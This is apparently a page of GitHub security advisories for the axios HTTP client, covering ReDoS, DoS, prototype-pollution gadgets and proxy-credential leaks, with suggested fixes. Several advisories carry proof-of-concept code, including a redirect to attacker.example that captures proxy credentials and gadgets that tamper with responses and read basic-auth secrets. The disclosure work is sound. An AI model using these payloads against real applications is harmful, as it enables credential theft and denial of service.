Validate or cap attacker-controlled request bodies before passing them to axios.

Reject or strictly allowlist attacker-controlled URL schemes, especially data: URLs, before calling axios.

<details> <summary>Original Report</summary>

Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.

Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: - lib/adapters/fetch.js (146-160): config destructuring does not include these controls. - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits.

PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: - adapter: 'fetch' - maxBodyLength: 1024 3. Request a 4 KiB data: URL with: - adapter: 'fetch' - maxContentLength: 16

Expected secure behavior: both requests rejected. Observed: - Upload: success, server received 2097152 - data: response: success, length 4096

Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.

The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.

Impact

Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.

Affected Functionality

Affected code paths:

- lib/helpers/cookies.js read(name) in standard browser environments. - lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config. - lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie. - Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.

Unaffected code paths:

- Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled. - Requests with xsrfCookieName: null. - Node HTTP adapter usage without browser document.cookie. - React Native and web workers where axios does not use standard browser cookie access.

Technical Details

Affected versions interpolate the cookie name into a regex.

js const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));

Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.

The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.

Proof of Concept of Attack

js function vulnerableRead(name, cookie) { const start = Date.now();

try { cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); } catch {}

return Date.now() - start; }

for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms); }

Expected result: timings grow rapidly as the cookie string length increases.

Workarounds

Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.

Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.

Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names

<details> <summary>Original Source</summary>

Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

1. Title

ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction

2. Affected Software and Version

- Software: Axios - Version: 1.15.0 (and potentially earlier versions) - Component: lib/helpers/cookies.js - Ecosystem: npm (Node.js / Browser)

3. Vulnerability Type / CWE

- Type: Regular Expression Denial of Service (ReDoS) - CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption

4. CVSS 3.1 Score

Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

| Metric | Value | |---|---| | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality | None | | Integrity | None | | Availability | High |

5. Description

The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():

javascript const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));

An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.

With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.

6. Root Cause Analysis

File: lib/helpers/cookies.js Line: 33

javascript read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; },

The vulnerability exists because:

1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters. 2. An attacker can inject regex constructs that create exponential backtracking scenarios. 3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.

The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:

javascript const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.

7. Proof of Concept

javascript // pocredoscookie.js // Simulates browser environment for testing

// Simulate document.cookie globalThis.document = { cookie: 'session=abc; ' + 'a'.repeat(50) };

// Replicate the vulnerable cookies.read() logic function cookiesRead(name) { const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; }

// Malicious cookie name that triggers catastrophic backtracking // The pattern creates nested quantifiers: (a]|[a]|...)) const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10); const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern

console.log('=== ReDoS via Cookie Name Injection PoC ===');

// Test with increasing payload sizes for (const len of [15, 20, 25]) { const payload = '(([^;])+)+' + 'X'.repeat(len); const start = Date.now(); try { cookiesRead(payload); } catch (e) { // May throw on invalid regex, but valid evil patterns won't throw } const elapsed = Date.now() - start; console.log(Payload length ${len}: ${elapsed}ms); }

// Demonstrating exponential growth with a simple nested quantifier console.log('\n--- Exponential Backtracking Demo ---'); for (const n of [20, 22, 24, 26]) { const evilName = '(' + 'a'.repeat(1) + '+)+$'; const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking globalThis.document = { cookie: testCookie }; const start = Date.now(); try { cookiesRead(evilName); } catch(e) {} const elapsed = Date.now() - start; console.log(Input length ${n}: ${elapsed}ms); }

8. PoC Output

=== ReDoS via Cookie Name Injection PoC === Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms) Payload length 25: ~1,300ms Payload length 30: ~323,675ms (5+ minutes)

--- Exponential Backtracking Demo --- Input length 20: 21ms Input length 22: 84ms Input length 24: 336ms Input length 26: 1,344ms

The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.

9. Impact

- Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page. - Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests. - Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.

10. Remediation / Suggested Fix

Escape all regex metacharacters in the name parameter before constructing the regular expression.

javascript // FIXED: lib/helpers/cookies.js

function escapeRegExp(string) { return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); }

// ...

read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match( new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])') ); return match ? decodeURIComponent(match[1]) : null; },

Alternatively, avoid dynamic regex construction entirely and use string-based parsing:

javascript read(name) { if (typeof document === 'undefined') return null; const cookies = document.cookie.split('; '); for (const cookie of cookies) { const eqIndex = cookie.indexOf('='); if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) { return decodeURIComponent(cookie.substring(eqIndex + 1)); } } return null; },

11. References

- CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption - OWASP: Regular Expression Denial of Service - Axios GitHub Repository </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.

This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.

Impact

An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.

The most relevant case is a Node.js application using an authenticated HTTPPROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPSPROXY is unset.

This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.

Affected Functionality

Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.

Relevant inputs and settings include:

- HTTPPROXY, HTTPSPROXY, and NOPROXY. - Authenticated proxy URLs such as http://user:pass@proxy.example:8080. - Automatic redirect following through follow-redirects. - Axios proxy handling in setProxy(). - Redirect proxy handling through beforeRedirects.proxy.

Technical Details

In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.

If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.

The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.

Proof of Concept of Attack

js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;

await axios.get('http://attacker.example/start');

Attacker-controlled HTTP endpoint:

http HTTP/1.1 302 Found Location: https://attacker.example/final

Expected result on affected versions:

text https://attacker.example/final receives: Proxy-Authorization: Basic dXNlcjpwYXNz

Expected result on fixed versions:

text https://attacker.example/final receives no Proxy-Authorization header

Workarounds

Set maxRedirects: 0 and handle redirects manually.

Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.

Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.

<details> <summary>Original Source</summary>

Summary Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.

This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTPPROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPSPROXY is unset or the redirect target is excluded by NOPROXY.

Details In the current implementation:

- setProxy() adds Proxy-Authorization when a proxy with credentials is in use. - On redirects, Axios re-invokes setProxy() for the redirected request. - If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header. - The redirected request therefore reuses the stale header and sends it to the final origin.

Relevant code locations:

- lib/adapters/http.js - setProxy() adds Proxy-Authorization - redirect handling re-applies proxy logic through beforeRedirects.proxy - no cleanup is performed when the recomputed redirect request no longer uses a proxy

PoC 1. The victim sends GET http://<attacker-site>/start 2. The request goes through a local authenticated corp proxy 3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final 4. The redirected HTTPS request no longer uses a proxy 5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header

Observed output:

text [corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz [attacker-http] GET /start [attacker-https] GET /final [attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

This demonstrates that the proxy credential is exposed to the redirect target origin.

Impact Exposes authenticated proxy credentials to an attacker-controlled origin. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Axios up to and including 0.18.0 allows attackers to cause a denial of service (application crash) by continuing to accepting content after maxContentLength is exceeded.

First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... }

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)

PoC

javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; };

// Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALIDUSERTOKEN' } } );

Impact

- Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders());

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

Background: how mergeConfig builds the config object

Every axios request goes through Axios.request in lib/core/Axios.js#L76:

js config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

js const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.

---

Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

js return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

js forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (servergadget1.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });

server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });

$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /

Terminal 2 -- client (pocparsereviver.mjs):

js import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };

const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;

$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.

---

Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

js if (config.transport) { transport = config.transport; }

transport is listed in mergeMap inside mergeConfig (line 88):

js transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (servergadget2.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });

server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });

$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poctransport.mjs):

js import axios from 'axios'; import http from 'http';

Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };

const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);

delete Object.prototype.transport;

$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

Suggested fixes

For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );

For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

---

Environment

- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

1 / 2
Source: GitHub
First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.

First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';

function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }

try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded

Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions 0.31.1 before 0.33.0 and 1.15.1 before 1.18.0 contain an incomplete depth-limit bypass in toFormData.js when serializing objects with top-level keys ending in '{}'. Attackers who control object keys and nested values passed to axios form or parameter serialization can trigger a RangeError from JSON.stringify, causing denial of service in the affected request path.

First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions 0.31.0 before 0.33.0 and 1.15.0 before 1.18.0 fail to recognize 0.0.0.0 as a loopback address in shouldBypassProxy.js, allowing requests to 0.0.0.0 to bypass NOPROXY rules. Attackers can supply 0.0.0.0 URLs to route requests through configured proxies, potentially exposing local services when the proxy can reach the destination.

First published (updated )
Severity
6.5
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

1 / 4
Source: GitHub
First published (updated )
Severity
6.3
SSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Axios does not correctly handle hostname normalization when checking NOPROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NOPROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NOPROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost. However, Axios does a literal string comparison instead of normalizing hostnames before checking NOPROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

